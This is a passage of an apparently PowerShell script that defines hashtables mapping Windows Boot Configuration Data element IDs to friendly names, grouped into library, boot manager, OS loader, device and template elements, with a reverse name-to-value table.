    ([UInt32] 0x16000020) = 'BootEMS'
    ([UInt32] 0x15000022) = 'EMSPort'
    ([UInt32] 0x15000023) = 'EMSBaudRate'
    ([UInt32] 0x12000030) = 'LoadOptions'
    ([UInt32] 0x16000031) = 'AttemptNonBcdStart' # No actual friendly name defined
    ([UInt32] 0x16000040) = 'AdvancedOptions'
    ([UInt32] 0x16000041) = 'OptionsEdit'
    ([UInt32] 0x15000042) = 'KeyringAddress'
    ([UInt32] 0x11000043) = 'BootStatusDataLogDevice' # No actual friendly name defined
    ([UInt32] 0x12000044) = 'BootStatusDataLogPath' # No actual friendly name defined
    ([UInt32] 0x16000045) = 'PreserveBootStat'
    ([UInt32] 0x16000046) = 'GraphicsModeDisabled'
    ([UInt32] 0x15000047) = 'ConfigAccessPolicy'
    ([UInt32] 0x16000048) = 'NoIntegrityChecks'
    ([UInt32] 0x16000049) = 'TestSigning'
    ([UInt32] 0x1200004A) = 'FontPath'
    ([UInt32] 0x1500004B) = 'IntegrityServices' # BCDE_LIBRARY_TYPE_SI_POLICY
    ([UInt32] 0x1500004C) = 'VolumeBandId'
    ([UInt32] 0x16000050) = 'ExtendedInput'
    ([UInt32] 0x15000051) = 'InitialConsoleInput'
    ([UInt32] 0x15000052) = 'GraphicsResolution'
    ([UInt32] 0x16000053) = 'RestartOnFailure'
    ([UInt32] 0x16000054) = 'HighestMode'
    ([UInt32] 0x16000060) = 'IsolatedContext'
    ([UInt32] 0x15000065) = 'DisplayMessage'
    ([UInt32] 0x15000066) = 'DisplayMessageOverride'
    ([UInt32] 0x16000067) = 'NoBootUxLogo' # No actual friendly name defined
    ([UInt32] 0x16000068) = 'NoBootUxText'
    ([UInt32] 0x16000069) = 'NoBootUxProgress'
    ([UInt32] 0x1600006A) = 'NoBootUxFade'
    ([UInt32] 0x1600006B) = 'BootUxReservePoolDebug' # No actual friendly name defined
    ([UInt32] 0x1600006C) = 'BootUxDisabled'
    ([UInt32] 0x1500006D) = 'BootUxFadeFrames' # No actual friendly name defined
    ([UInt32] 0x1600006E) = 'BootUxDumpStats' # No actual friendly name defined
    ([UInt32] 0x1600006F) = 'BootUxShowStats' # No actual friendly name defined
    ([UInt32] 0x16000071) = 'MultiBootSystem' # No actual friendly name defined
    ([UInt32] 0x16000072) = 'NoKeyboard'
    ([UInt32] 0x15000073) = 'AliasWindowsKey' # No actual friendly name defined
    ([UInt32] 0x16000074) = 'BootShutdownDisabled'
    ([UInt32] 0x15000075) = 'PerformanceFrequency' # No actual friendly name defined
    ([UInt32] 0x15000076) = 'SecurebootRawPolicy'
    ([UInt32] 0x17000077) = 'AllowedInMemorySettings'
    ([UInt32] 0x15000079) = 'BootUxtTransitionTime'
    ([UInt32] 0x1600007A) = 'MobileGraphics'
    ([UInt32] 0x1600007B) = 'ForceFipsCrypto'
    ([UInt32] 0x1500007D) = 'BootErrorUx'
    ([UInt32] 0x1600007E) = 'FlightSigning'
    ([UInt32] 0x1500007F) = 'MeasuredBootLogFormat'
    ([UInt32] 0x25000001) = 'PassCount'
    ([UInt32] 0x25000003) = 'FailureCount'
    ([UInt32] 0x26000202) = 'SkipFFUMode'
    ([UInt32] 0x26000203) = 'ForceFFUMode'
    ([UInt32] 0x25000510) = 'ChargeThreshold'
    ([UInt32] 0x26000512) = 'OffModeCharging'
    ([UInt32] 0x25000AAA) = 'Bootflow'
    ([UInt32] 0x24000001) = 'DisplayOrder'
    ([UInt32] 0x24000002) = 'BootSequence'
    ([UInt32] 0x23000003) = 'Default'
    ([UInt32] 0x25000004) = 'Timeout'
    ([UInt32] 0x26000005) = 'AttemptResume'
    ([UInt32] 0x23000006) = 'ResumeObject'
    ([UInt32] 0x24000010) = 'ToolsDisplayOrder'
    ([UInt32] 0x26000020) = 'DisplayBootMenu'
    ([UInt32] 0x26000021) = 'NoErrorDisplay'
    ([UInt32] 0x21000022) = 'BcdDevice'
    ([UInt32] 0x22000023) = 'BcdFilePath'
    ([UInt32] 0x26000028) = 'ProcessCustomActionsFirst'
    ([UInt32] 0x27000030) = 'CustomActionsList'
    ([UInt32] 0x26000031) = 'PersistBootSequence'
    ([UInt32] 0x21000001) = 'FileDevice'
    ([UInt32] 0x22000002) = 'FilePath'
    ([UInt32] 0x26000006) = 'DebugOptionEnabled'
    ([UInt32] 0x25000008) = 'BootMenuPolicy'
    ([UInt32] 0x26000010) = 'DetectKernelAndHal'
    ([UInt32] 0x22000011) = 'KernelPath'
    ([UInt32] 0x22000012) = 'HalPath'
    ([UInt32] 0x22000013) = 'DbgTransportPath'
    ([UInt32] 0x25000020) = 'NX'
    ([UInt32] 0x25000021) = 'PAEPolicy'
    ([UInt32] 0x26000022) = 'WinPE'
    ([UInt32] 0x26000024) = 'DisableCrashAutoReboot'
    ([UInt32] 0x26000025) = 'UseLastGoodSettings'
    ([UInt32] 0x26000027) = 'AllowPrereleaseSignatures'
    ([UInt32] 0x26000030) = 'NoLowMemory'
    ([UInt32] 0x25000031) = 'RemoveMemory'
    ([UInt32] 0x25000032) = 'IncreaseUserVa'
    ([UInt32] 0x26000040) = 'UseVgaDriver'
    ([UInt32] 0x26000041) = 'DisableBootDisplay'
    ([UInt32] 0x26000042) = 'DisableVesaBios'
    ([UInt32] 0x26000043) = 'DisableVgaMode'
    ([UInt32] 0x25000050) = 'ClusterModeAddressing'
    ([UInt32] 0x26000051) = 'UsePhysicalDestination'
    ([UInt32] 0x25000052) = 'RestrictApicCluster'
    ([UInt32] 0x26000054) = 'UseLegacyApicMode'
    ([UInt32] 0x25000055) = 'X2ApicPolicy'
    ([UInt32] 0x26000060) = 'UseBootProcessorOnly'
    ([UInt32] 0x25000061) = 'NumberOfProcessors'
    ([UInt32] 0x26000062) = 'ForceMaximumProcessors'
    ([UInt32] 0x25000063) = 'ProcessorConfigurationFlags'
    ([UInt32] 0x26000064) = 'MaximizeGroupsCreated'
    ([UInt32] 0x26000065) = 'ForceGroupAwareness'
    ([UInt32] 0x25000066) = 'GroupSize'
    ([UInt32] 0x26000070) = 'UseFirmwarePciSettings'
    ([UInt32] 0x25000071) = 'MsiPolicy'
    ([UInt32] 0x25000080) = 'SafeBoot'
    ([UInt32] 0x26000081) = 'SafeBootAlternateShell'
    ([UInt32] 0x26000090) = 'BootLogInitialization'
    ([UInt32] 0x26000091) = 'VerboseObjectLoadMode'
    ([UInt32] 0x260000a0) = 'KernelDebuggerEnabled'
    ([UInt32] 0x260000a1) = 'DebuggerHalBreakpoint'
    ([UInt32] 0x260000A2) = 'UsePlatformClock'
    ([UInt32] 0x260000A3) = 'ForceLegacyPlatform'
    ([UInt32] 0x250000A6) = 'TscSyncPolicy'
    ([UInt32] 0x260000b0) = 'EmsEnabled'
    ([UInt32] 0x250000c1) = 'DriverLoadFailurePolicy'
    ([UInt32] 0x250000C2) = 'BootMenuPolicy'
    ([UInt32] 0x260000C3) = 'AdvancedOptionsOneTime'
    ([UInt32] 0x250000E0) = 'BootStatusPolicy'
    ([UInt32] 0x260000E1) = 'DisableElamDrivers'
    ([UInt32] 0x250000F0) = 'HypervisorLaunchType'
    ([UInt32] 0x260000F2) = 'HypervisorDebugEnabled'
    ([UInt32] 0x250000F3) = 'HypervisorDebugType'
    ([UInt32] 0x250000F4) = 'HypervisorDebugPort'
    ([UInt32] 0x250000F5) = 'HypervisorBaudrate'
    ([UInt32] 0x250000F6) = 'HypervisorDebug1394Channel'
    ([UInt32] 0x250000F7) = 'BootUxPolicy'
    ([UInt32] 0x220000F9) = 'HypervisorDebugBusParams'
    ([UInt32] 0x250000FA) = 'HypervisorNumProc'
    ([UInt32] 0x250000FB) = 'HypervisorRootProcPerNode'
    ([UInt32] 0x260000FC) = 'HypervisorUseLargeVTlb'
    ([UInt32] 0x250000FD) = 'HypervisorDebugNetHostIp'
    ([UInt32] 0x250000FE) = 'HypervisorDebugNetHostPort'
    ([UInt32] 0x25000100) = 'TpmBootEntropyPolicy'
    ([UInt32] 0x22000110) = 'HypervisorDebugNetKey'
    ([UInt32] 0x26000114) = 'HypervisorDebugNetDhcp'
    ([UInt32] 0x25000115) = 'HypervisorIommuPolicy'
    ([UInt32] 0x2500012b) = 'XSaveDisable'
    ([UInt32] 0x35000001) = 'RamdiskImageOffset'
    ([UInt32] 0x35000002) = 'TftpClientPort'
    ([UInt32] 0x31000003) = 'RamdiskSdiDevice'
    ([UInt32] 0x32000004) = 'RamdiskSdiPath'
    ([UInt32] 0x35000005) = 'RamdiskImageLength'
    ([UInt32] 0x36000006) = 'RamdiskExportAsCd'
    ([UInt32] 0x36000007) = 'RamdiskTftpBlockSize'
    ([UInt32] 0x36000008) = 'RamdiskTftpWindowSize'
    ([UInt32] 0x36000009) = 'RamdiskMulticastEnabled'
    ([UInt32] 0x3600000A) = 'RamdiskMulticastTftpFallback'
    ([UInt32] 0x3600000B) = 'RamdiskTftpVarWindow'
    ([UInt32] 0x45000001) = 'DeviceType' # No actual friendly name defined
    ([UInt32] 0x42000002) = 'ApplicationRelativePath' # No actual friendly name defined
    ([UInt32] 0x42000003) = 'RamdiskDeviceRelativePath' # No actual friendly name defined
    ([UInt32] 0x46000004) = 'OmitOsLoaderElements' # No actual friendly name defined
    ([UInt32] 0x47000006) = 'ElementsToMigrate'
    ([UInt32] 0x46000010) = 'RecoveryOs' # No actual friendly name defined
}

# Taken from https://www.geoffchappell.com/notes/windows/boot/bcd/elements.htm
# These are also all available in bcdedit.exe public symbols
$Script:ElementLibraryNameMapping = @{
    ([UInt32] 0x11000001) = 'Device'
    ([UInt32] 0x12000002) = 'Path'
    ([UInt32] 0x12000004) = 'Description'
    ([UInt32] 0x12000005) = 'Locale'
    ([UInt32] 0x14000006) = 'Inherit'
    ([UInt32] 0x15000007) = 'TruncateMemory'
    ([UInt32] 0x14000008) = 'RecoverySequence'
    ([UInt32] 0x16000009) = 'RecoveryEnabled'
    ([UInt32] 0x1700000A) = 'BadMemoryList'
    ([UInt32] 0x1600000B) = 'BadMemoryAccess'
    ([UInt32] 0x1500000C) = 'FirstMegabytePolicy'
    ([UInt32] 0x1500000D) = 'RelocatePhysical'
    ([UInt32] 0x1500000E) = 'AvoidLowMemory'
    ([UInt32] 0x1600000F) = 'TraditionalKseg'
    ([UInt32] 0x16000010) = 'BootDebug'
    ([UInt32] 0x15000011) = 'DebugType'
    ([UInt32] 0x15000012) = 'DebugAddress'
    ([UInt32] 0x15000013) = 'DebugPort'
    ([UInt32] 0x15000014) = 'BaudRate'
    ([UInt32] 0x15000015) = 'Channel'
    ([UInt32] 0x12000016) = 'TargetName'
    ([UInt32] 0x16000017) = 'NoUMEx'
    ([UInt32] 0x15000018) = 'DebugStart'
    ([UInt32] 0x12000019) = 'BusParams'
    ([UInt32] 0x1500001A) = 'HostIP'
    ([UInt32] 0x1500001B) = 'Port'
    ([UInt32] 0x1600001C) = 'DHCP'
    ([UInt32] 0x1200001D) = 'Key'
    ([UInt32] 0x1600001E) = 'VM'
    ([UInt32] 0x16000020) = 'BootEMS'
    ([UInt32] 0x15000022) = 'EMSPort'
    ([UInt32] 0x15000023) = 'EMSBaudRate'
    ([UInt32] 0x12000030) = 'LoadOptions'
    ([UInt32] 0x16000031) = 'AttemptNonBcdStart' # No actual friendly name defined
    ([UInt32] 0x16000040) = 'AdvancedOptions'
    ([UInt32] 0x16000041) = 'OptionsEdit'
    ([UInt32] 0x15000042) = 'KeyringAddress'
    ([UInt32] 0x11000043) = 'BootStatusDataLogDevice' # No actual friendly name defined
    ([UInt32] 0x12000044) = 'BootStatusDataLogPath' # No actual friendly name defined
    ([UInt32] 0x16000045) = 'PreserveBootStat'
    ([UInt32] 0x16000046) = 'GraphicsModeDisabled'
    ([UInt32] 0x15000047) = 'ConfigAccessPolicy'
    ([UInt32] 0x16000048) = 'NoIntegrityChecks'
    ([UInt32] 0x16000049) = 'TestSigning'
    ([UInt32] 0x1200004A) = 'FontPath'
    ([UInt32] 0x1500004B) = 'IntegrityServices' # BCDE_LIBRARY_TYPE_SI_POLICY
    ([UInt32] 0x1500004C) = 'VolumeBandId'
    ([UInt32] 0x16000050) = 'ExtendedInput'
    ([UInt32] 0x15000051) = 'InitialConsoleInput'
    ([UInt32] 0x15000052) = 'GraphicsResolution'
    ([UInt32] 0x16000053) = 'RestartOnFailure'
    ([UInt32] 0x16000054) = 'HighestMode'
    ([UInt32] 0x16000060) = 'IsolatedContext'
    ([UInt32] 0x15000065) = 'DisplayMessage'
    ([UInt32] 0x15000066) = 'DisplayMessageOverride'
    ([UInt32] 0x16000067) = 'NoBootUxLogo' # No actual friendly name defined
    ([UInt32] 0x16000068) = 'NoBootUxText'
    ([UInt32] 0x16000069) = 'NoBootUxProgress'
    ([UInt32] 0x1600006A) = 'NoBootUxFade'
    ([UInt32] 0x1600006B) = 'BootUxReservePoolDebug' # No actual friendly name defined
    ([UInt32] 0x1600006C) = 'BootUxDisabled'
    ([UInt32] 0x1500006D) = 'BootUxFadeFrames' # No actual friendly name defined
    ([UInt32] 0x1600006E) = 'BootUxDumpStats' # No actual friendly name defined
    ([UInt32] 0x1600006F) = 'BootUxShowStats' # No actual friendly name defined
    ([UInt32] 0x16000071) = 'MultiBootSystem' # No actual friendly name defined
    ([UInt32] 0x16000072) = 'NoKeyboard'
    ([UInt32] 0x15000073) = 'AliasWindowsKey' # No actual friendly name defined
    ([UInt32] 0x16000074) = 'BootShutdownDisabled'
    ([UInt32] 0x15000075) = 'PerformanceFrequency' # No actual friendly name defined
    ([UInt32] 0x15000076) = 'SecurebootRawPolicy'
    ([UInt32] 0x17000077) = 'AllowedInMemorySettings'
    ([UInt32] 0x15000079) = 'BootUxtTransitionTime'
    ([UInt32] 0x1600007A) = 'MobileGraphics'
    ([UInt32] 0x1600007B) = 'ForceFipsCrypto'
    ([UInt32] 0x1500007D) = 'BootErrorUx'
    ([UInt32] 0x1600007E) = 'FlightSigning'
    ([UInt32] 0x1500007F) = 'MeasuredBootLogFormat'
}

$Script:ElementMemDiagNameMapping = @{
    ([UInt32] 0x25000001) = 'PassCount'
    ([UInt32] 0x25000003) = 'FailureCount'
}

$Script:ElementApplicationNameMapping = @{
    ([UInt32] 0x26000202) = 'SkipFFUMode'
    ([UInt32] 0x26000203) = 'ForceFFUMode'
    ([UInt32] 0x25000510) = 'ChargeThreshold'
    ([UInt32] 0x26000512) = 'OffModeCharging'
    ([UInt32] 0x25000AAA) = 'Bootflow'
}

$Script:ElementBootMgrNameMapping = @{
    ([UInt32] 0x24000001) = 'DisplayOrder'
    ([UInt32] 0x24000002) = 'BootSequence'
    ([UInt32] 0x23000003) = 'Default'
    ([UInt32] 0x25000004) = 'Timeout'
    ([UInt32] 0x26000005) = 'AttemptResume'
    ([UInt32] 0x23000006) = 'ResumeObject'
    ([UInt32] 0x24000010) = 'ToolsDisplayOrder'
    ([UInt32] 0x26000020) = 'DisplayBootMenu'
    ([UInt32] 0x26000021) = 'NoErrorDisplay'
    ([UInt32] 0x21000022) = 'BcdDevice'
    ([UInt32] 0x22000023) = 'BcdFilePath'
    ([UInt32] 0x26000028) = 'ProcessCustomActionsFirst'
    ([UInt32] 0x27000030) = 'CustomActionsList'
    ([UInt32] 0x26000031) = 'PersistBootSequence'
    ([UInt32] 0x21000001) = 'FileDevice'
    ([UInt32] 0x22000002) = 'FilePath'
    ([UInt32] 0x26000006) = 'DebugOptionEnabled'
    ([UInt32] 0x25000008) = 'BootMenuPolicy'
}

$Script:ElementOSLoaderNameMapping = @{
    ([UInt32] 0x21000001) = 'OSDevice'
    ([UInt32] 0x22000002) = 'SystemRoot'
    ([UInt32] 0x23000003) = 'ResumeObject'
    ([UInt32] 0x26000010) = 'DetectKernelAndHal'
    ([UInt32] 0x22000011) = 'KernelPath'
    ([UInt32] 0x22000012) = 'HalPath'
    ([UInt32] 0x22000013) = 'DbgTransportPath'
    ([UInt32] 0x25000020) = 'NX'
    ([UInt32] 0x25000021) = 'PAEPolicy'
    ([UInt32] 0x26000022) = 'WinPE'
    ([UInt32] 0x26000024) = 'DisableCrashAutoReboot'
    ([UInt32] 0x26000025) = 'UseLastGoodSettings'
    ([UInt32] 0x26000027) = 'AllowPrereleaseSignatures'
    ([UInt32] 0x26000030) = 'NoLowMemory'
    ([UInt32] 0x25000031) = 'RemoveMemory'
    ([UInt32] 0x25000032) = 'IncreaseUserVa'
    ([UInt32] 0x26000040) = 'UseVgaDriver'
    ([UInt32] 0x26000041) = 'DisableBootDisplay'
    ([UInt32] 0x26000042) = 'DisableVesaBios'
    ([UInt32] 0x26000043) = 'DisableVgaMode'
    ([UInt32] 0x25000050) = 'ClusterModeAddressing'
    ([UInt32] 0x26000051) = 'UsePhysicalDestination'
    ([UInt32] 0x25000052) = 'RestrictApicCluster'
    ([UInt32] 0x26000054) = 'UseLegacyApicMode'
    ([UInt32] 0x25000055) = 'X2ApicPolicy'
    ([UInt32] 0x26000060) = 'UseBootProcessorOnly'
    ([UInt32] 0x25000061) = 'NumberOfProcessors'
    ([UInt32] 0x26000062) = 'ForceMaximumProcessors'
    ([UInt32] 0x25000063) = 'ProcessorConfigurationFlags'
    ([UInt32] 0x26000064) = 'MaximizeGroupsCreated'
    ([UInt32] 0x26000065) = 'ForceGroupAwareness'
    ([UInt32] 0x25000066) = 'GroupSize'
    ([UInt32] 0x26000070) = 'UseFirmwarePciSettings'
    ([UInt32] 0x25000071) = 'MsiPolicy'
    ([UInt32] 0x25000080) = 'SafeBoot'
    ([UInt32] 0x26000081) = 'SafeBootAlternateShell'
    ([UInt32] 0x26000090) = 'BootLogInitialization'
    ([UInt32] 0x26000091) = 'VerboseObjectLoadMode'
    ([UInt32] 0x260000a0) = 'KernelDebuggerEnabled'
    ([UInt32] 0x260000a1) = 'DebuggerHalBreakpoint'
    ([UInt32] 0x260000A2) = 'UsePlatformClock'
    ([UInt32] 0x260000A3) = 'ForceLegacyPlatform'
    ([UInt32] 0x250000A6) = 'TscSyncPolicy'
    ([UInt32] 0x260000b0) = 'EmsEnabled'
    ([UInt32] 0x250000c1) = 'DriverLoadFailurePolicy'
    ([UInt32] 0x250000C2) = 'BootMenuPolicy'
    ([UInt32] 0x260000C3) = 'AdvancedOptionsOneTime'
    ([UInt32] 0x250000E0) = 'BootStatusPolicy'
    ([UInt32] 0x260000E1) = 'DisableElamDrivers'
    ([UInt32] 0x250000F0) = 'HypervisorLaunchType'
    ([UInt32] 0x260000F2) = 'HypervisorDebugEnabled'
    ([UInt32] 0x250000F3) = 'HypervisorDebugType'
    ([UInt32] 0x250000F4) = 'HypervisorDebugPort'
    ([UInt32] 0x250000F5) = 'HypervisorBaudrate'
    ([UInt32] 0x250000F6) = 'HypervisorDebug1394Channel'
    ([UInt32] 0x250000F7) = 'BootUxPolicy'
    ([UInt32] 0x220000F9) = 'HypervisorDebugBusParams'
    ([UInt32] 0x250000FA) = 'HypervisorNumProc'
    ([UInt32] 0x250000FB) = 'HypervisorRootProcPerNode'
    ([UInt32] 0x260000FC) = 'HypervisorUseLargeVTlb'
    ([UInt32] 0x250000FD) = 'HypervisorDebugNetHostIp'
    ([UInt32] 0x250000FE) = 'HypervisorDebugNetHostPort'
    ([UInt32] 0x25000100) = 'TpmBootEntropyPolicy'
    ([UInt32] 0x22000110) = 'HypervisorDebugNetKey'
    ([UInt32] 0x26000114) = 'HypervisorDebugNetDhcp'
    ([UInt32] 0x25000115) = 'HypervisorIommuPolicy'
    ([UInt32] 0x2500012b) = 'XSaveDisable'
}

# http://msdn.microsoft.com/en-us/library/windows/desktop/aa362645(v=vs.85).aspx
$Script:ElementDeviceNameMapping = @{
    ([UInt32] 0x35000001) = 'RamdiskImageOffset'
    ([UInt32] 0x35000002) = 'TftpClientPort'
    ([UInt32] 0x31000003) = 'RamdiskSdiDevice'
    ([UInt32] 0x32000004) = 'RamdiskSdiPath'
    ([UInt32] 0x35000005) = 'RamdiskImageLength'
    ([UInt32] 0x36000006) = 'RamdiskExportAsCd'
    ([UInt32] 0x36000007) = 'RamdiskTftpBlockSize'
    ([UInt32] 0x36000008) = 'RamdiskTftpWindowSize'
    ([UInt32] 0x36000009) = 'RamdiskMulticastEnabled'
    ([UInt32] 0x3600000A) = 'RamdiskMulticastTftpFallback'
    ([UInt32] 0x3600000B) = 'RamdiskTftpVarWindow'
}

$Script:ElementTemplateNameMapping = @{
    ([UInt32] 0x45000001) = 'DeviceType' # No actual friendly name defined
    ([UInt32] 0x42000002) = 'ApplicationRelativePath' # No actual friendly name defined
    ([UInt32] 0x42000003) = 'RamdiskDeviceRelativePath' # No actual friendly name defined
    ([UInt32] 0x46000004) = 'OmitOsLoaderElements' # No actual friendly name defined
    ([UInt32] 0x47000006) = 'ElementsToMigrate'
    ([UInt32] 0x46000010) = 'RecoveryOs' # No actual friendly name defined
}

$Script:ElementNameToValueMapping = @{
    'Device' = ([UInt32] 0x11000001)
    'Path' = ([UInt32] 0x12000002)
    'Description' = ([UInt32] 0x12000004)
    'Locale' = ([UInt32] 0x12000005)
    'Inherit' = ([UInt32] 0x14000006)
    'TruncateMemory' = ([UInt32] 0x15000007)
    'RecoverySequence' = ([UInt32] 0x14000008)
    'RecoveryEnabled' = ([UInt32] 0x16000009)
    'BadMemoryList' = ([UInt32] 0x1700000A)
    'BadMemoryAccess' = ([UInt32] 0x1600000B)
    'FirstMegabytePolicy' = ([UInt32] 0x1500000C)
    'RelocatePhysical' = ([UInt32] 0x1500000D)
    'AvoidLowMemory' = ([UInt32] 0x1500000E)
    'TraditionalKseg' = ([UInt32] 0x1600000F)
    'BootDebug' = ([UInt32] 0x16000010)
    'DebugType' = ([UInt32] 0x15000011)
    'DebugAddress' = ([UInt32] 0x15000012)
    'DebugPort' = ([UInt32] 0x15000013)
    'BaudRate' = ([UInt32] 0x15000014)
    'Channel' = ([UInt32] 0x15000015)
    'TargetName' = ([UInt32] 0x12000016)
    'NoUMEx' = ([UInt32] 0x16000017)
    'DebugStart' = ([UInt32] 0x15000018)
    'BusParams' = ([UInt32] 0x12000019)
    'HostIP' = ([UInt32] 0x1500001A)
    'Port' = ([UInt32] 0x1500001B)
    'DHCP' = ([UInt32] 0x1600001C)
    'Key' = ([UInt32] 0x1200001D)
    'VM' = ([UInt32] 0x1600001E)
    'BootEMS' = ([UInt32] 0x16000020)
    'EMSPort' = ([UInt32] 0x15000022)
    'EMSBaudRate' = ([UInt32] 0x15000023)
    'LoadOptions' = ([UInt32] 0x12000030)
    'AttemptNonBcdStart' = ([UInt32] 0x16000031)
    'AdvancedOptions' = ([UInt32] 0x16000040)
    'OptionsEdit' = ([UInt32] 0x16000041)
    'KeyringAddress' = ([UInt32] 0x15000042)
    'BootStatusDataLogDevice' = ([UInt32] 0x11000043)
    'BootStatusDataLogPath' = ([UInt32] 0x12000044)
    'PreserveBootStat' = ([UInt32] 0x16000045)
    'GraphicsModeDisabled' = ([UInt32] 0x16000046)
    'ConfigAccessPolicy' = ([UInt32] 0x15000047)
    'NoIntegrityChecks' = ([UInt32] 0x16000048)
    'TestSigning' = ([UInt32] 0x16000049)
    'FontPath' = ([UInt32] 0x1200004A)
    'IntegrityServices' = ([UInt32] 0x1500004B)
    'VolumeBandId' = ([UInt32] 0x1500004C)
    'ExtendedInput' = ([UInt32] 0x16000050)
    'InitialConsoleInput' = ([UInt32] 0x15000051)
    'GraphicsResolution' = ([UInt32] 0x15000052)
    'RestartOnFailure' = ([UInt32] 0x16000053)
    'HighestMode' = ([UInt32] 0x16000054)
    'IsolatedContext' = ([UInt32] 0x16000060)
    'DisplayMessage' = ([UInt32] 0x15000065)
    'DisplayMessageOverride' = ([UInt32] 0x15000066)
    'NoBootUxLogo' = ([UInt32] 0x16000067)
    'NoBootUxText' = ([UInt32] 0x16000068)
    'NoBootUxProgress' = ([UInt32] 0x16000069)
    'NoBootUxFade' = ([UInt32] 0x1600006A)
    'BootUxReservePoolDebug' = ([UInt32] 0x1600006B)
    'BootUxDisabled' = ([UInt32] 0x1600006C)
    'BootUxFadeFrames' = ([UInt32] 0x1500006D)
    'BootUxDumpStats' = ([UInt32] 0x1600006E)
    'BootUxShowStats' = ([UInt32] 0x1600006F)
    'MultiBootSystem' = ([UInt32] 0x16000071)
    'NoKeyboard' = ([UInt32] 0x16000072)
    'AliasWindowsKey' = ([UInt32] 0x15000073)
    'BootShutdownDisabled' = ([UInt32] 0x16000074)
    'PerformanceFrequency' = ([UInt32] 0x15000075)
    'SecurebootRawPolicy' = ([UInt32] 0x15000076)
    'AllowedInMemorySettings' = ([UInt32] 0x17000077)
    'BootUxtTransitionTime' = ([UInt32] 0x15000079)
    'MobileGraphics' = ([UInt32] 0x1600007A)
    'ForceFipsCrypto' = ([UInt32] 0x1600007B)
    'BootErrorUx' = ([UInt32] 0x1500007D)
    'FlightSigning' = ([UInt32] 0x1600007E)
    'MeasuredBootLogFormat' = ([UInt32] 0x1500007F)
    'PassCount' = ([UInt32] 0x25000001)
    'FailureCount' = ([UInt32] 0x25000003)
    'SkipFFUMode' = ([UInt32] 0x26000202)
    'ForceFFUMode' = ([UInt32] 0x26000203)
    'ChargeThreshold' = ([UInt32] 0x25000510)
    'OffModeCharging' = ([UInt32] 0x26000512)
    'Bootflow' = ([UInt32] 0x25000AAA)
    'DisplayOrder' = ([UInt32] 0x24000001)
    'BootSequence' = ([UInt32] 0x24000002)
    'Default' = ([UInt32] 0x23000003)
    'Timeout' = ([UInt32] 0x25000004)
    'AttemptResume' = ([UInt32] 0x26000005)
    'ResumeObject' = ([UInt32] 0x23000006)
    'ToolsDisplayOrder' = ([UInt32] 0x24000010)
    'DisplayBootMenu' = ([UInt32] 0x26000020)
    'NoErrorDisplay' = ([UInt32] 0x26000021)
    'BcdDevice' = ([UInt32] 0x21000022)
    'BcdFilePath' = ([UInt32] 0x22000023)
    'ProcessCustomActionsFirst' = ([UInt32] 0x26000028)
    'CustomActionsList' = ([UInt32] 0x27000030)
    'PersistBootSequence' = ([UInt32] 0x26000031)
    'FileDevice' = ([UInt32] 0x21000001)
    'FilePath' = ([UInt32] 0x22000002)
    'DebugOptionEnabled' = ([UInt32] 0x26000006)
    'BootMenuPolicyWinResume' = ([UInt32] 0x25000008)
    'OSDevice' = ([UInt32] 0x21000001)
    'SystemRoot' = ([UInt32] 0x22000002)
    'AssociatedResumeObject' = ([UInt32] 0x23000003)
    'DetectKernelAndHal' = ([UInt32] 0x26000010)
    'KernelPath' = ([UInt32] 0x22000011)
    'HalPath' = ([UInt32] 0x22000012)
    'DbgTransportPath' = ([UInt32] 0x22000013)
    'NX' = ([UInt32] 0x25000020)
    'PAEPolicy' = ([UInt32] 0x25000021)
    'WinPE' = ([UInt32] 0x26000022)
    'DisableCrashAutoReboot' = ([UInt32] 0x26000024)
    'UseLastGoodSettings' = ([UInt32] 0x26000025)
    'AllowPrereleaseSignatures' = ([UInt32] 0x26000027)
    'NoLowMemory' = ([UInt32] 0x26000030)
    'RemoveMemory' = ([UInt32] 0x25000031)
    'IncreaseUserVa' = ([UInt32] 0x25000032)
    'UseVgaDriver' = ([UInt32] 0x26000040)
    'DisableBootDisplay' = ([UInt32] 0x26000041)
    'DisableVesaBios' = ([UInt32] 0x26000042)
    'DisableVgaMode' = ([UInt32] 0x26000043)
    'ClusterModeAddressing' = ([UInt32] 0x25000050)
    'UsePhysicalDestination' = ([UInt32] 0x26000051)
    'RestrictApicCluster' = ([UInt32] 0x25000052)
    'UseLegacyApicMode' = ([UInt32] 0x26000054)
    'X2ApicPolicy' = ([UInt32] 0x25000055)
    'UseBootProcessorOnly' = ([UInt32] 0x26000060)
    'NumberOfProcessors' = ([UInt32] 0x25000061)
    'ForceMaximumProcessors' = ([UInt32] 0x26000062)
    'ProcessorConfigurationFlags' = ([UInt32] 0x25000063)
    'MaximizeGroupsCreated' = ([UInt32] 0x26000064)
    'ForceGroupAwareness' = ([UInt32] 0x26000065)
    'GroupSize' = ([UInt32] 0x25000066)
    'UseFirmwarePciSettings' = ([UInt32] 0x26000070)
    'MsiPolicy' = ([UInt32] 0x25000071)
    'SafeBoot' = ([UInt32] 0x25000080)
    'SafeBootAlternateShell' = ([UInt32] 0x26000081)
    'BootLogInitialization' = ([UInt32] 0x26000090)
    'VerboseObjectLoadMode' = ([UInt32] 0x26000091)
    'KernelDebuggerEnabled' = ([UInt32] 0x260000a0)
    'DebuggerHalBreakpoint' = ([UInt32] 0x260000a1)
    'UsePlatformClock' = ([UInt32] 0x260000A2)
    'ForceLegacyPlatform' = ([UInt32] 0x260000A3)
    'TscSyncPolicy' = ([UInt32] 0x250000A6)
    'EmsEnabled' = ([UInt32] 0x260000b0)
    'DriverLoadFailurePolicy' = ([UInt32] 0x250000c1)
    'BootMenuPolicyWinload' = ([UInt32] 0x250000C2)
    'AdvancedOptionsOneTime' = ([UInt32] 0x260000C3)
    'BootStatusPolicy' = ([UInt32] 0x250000E0)
    'DisableElamDrivers' = ([UInt32] 0x260000E1)
    'HypervisorLaunchType' = ([UInt32] 0x250000F0)
    'HypervisorDebugEnabled' = ([UInt32] 0x260000F2)
    'HypervisorDebugType' = ([UInt32] 0x250000F3)
    'HypervisorDebugPort' = ([UInt32] 0x250000F4)
    'HypervisorBaudrate' = ([UInt32] 0x250000F5)
    'HypervisorDebug1394Channel' = ([UInt32] 0x250000F6)
    'BootUxPolicy' = ([UInt32] 0x250000F7)
    'HypervisorDebugBusParams' = ([UInt32] 0x220000F9)
    'HypervisorNumProc' = ([UInt32] 0x250000FA)
    'HypervisorRootProcPerNode' = ([UInt32] 0x250000FB)
    'HypervisorUseLargeVTlb' = ([UInt32] 0x260000FC)
    'HypervisorDebugNetHostIp' = ([UInt32] 0x250000FD)
    'HypervisorDebugNetHostPort' = ([UInt32] 0x250000FE)
    'TpmBootEntropyPolicy' = ([UInt32] 0x25000100)
